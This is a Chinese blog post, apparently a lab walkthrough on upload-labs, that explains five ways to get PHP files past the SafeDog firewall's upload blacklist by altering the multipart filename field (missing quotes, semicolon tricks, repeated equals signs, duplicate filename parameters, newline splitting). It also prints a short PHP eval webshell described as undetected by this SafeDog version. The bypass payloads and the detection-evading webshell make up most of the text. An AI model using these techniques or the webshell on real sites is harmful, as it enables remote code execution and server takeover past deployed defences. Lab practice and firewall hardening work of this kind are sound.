文件上传-绕过安全狗

1,3,4方法比较稳健

目录

1.用单双引号防匹配绕过

        此版本安全狗免杀

 2.filename="abc.jpg;.php"

3. filename==="xxx.php"

4.filename=;filename="xxx.php"

5.换行绕过


实验环境

安全狗+phpstudy+upload-labs-master

安全狗开启后,会有一个后缀名上传黑名单

先上传一个图片马,抓包查看

若是正常后缀名,可以上传

换成.php ,就会上传失败


设法绕过(这里是以第二关为例,,过其他关时还要考虑那一关的代码绕过)

1.用单双引号防匹配绕过

将文件名写成 filename="php    (去掉右侧引号,上传成功)

 换成单引号也行(不加引号也可以)

 上传成功,但是普通的木马文件会被扫出来

此版本安全狗免杀

<?php
define("hi","$_REQUEST[pass]");
eval(hi);
?>

上传后连接


 2.filename="abc.jpg;.php"

可以绕过上传,保存为 abc.jpg;.php

会以php文件执行

安全狗匹配时,会以 分号 为结束,后面的 .php 不会被匹配拉黑

这个方法不稳,有时候会被狗拦截


3. filename==="xxx.php"

要三个以上等号,,可以绕过


 

4.filename=;filename="xxx.php"

多个filename,,安全狗识别时会识别第一个,但是保存时会保存最后一个


5.换行绕过

将代码改为

filename="xxx.p

h

p"

换几次行都行,,因为安全狗匹配时

会将文件名识别为  xxx.p\nh\np

只要将不是 .php 就行

上传保存时会自动取消 \n ,保存为 xxx.php

新版本的安全狗会拦

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值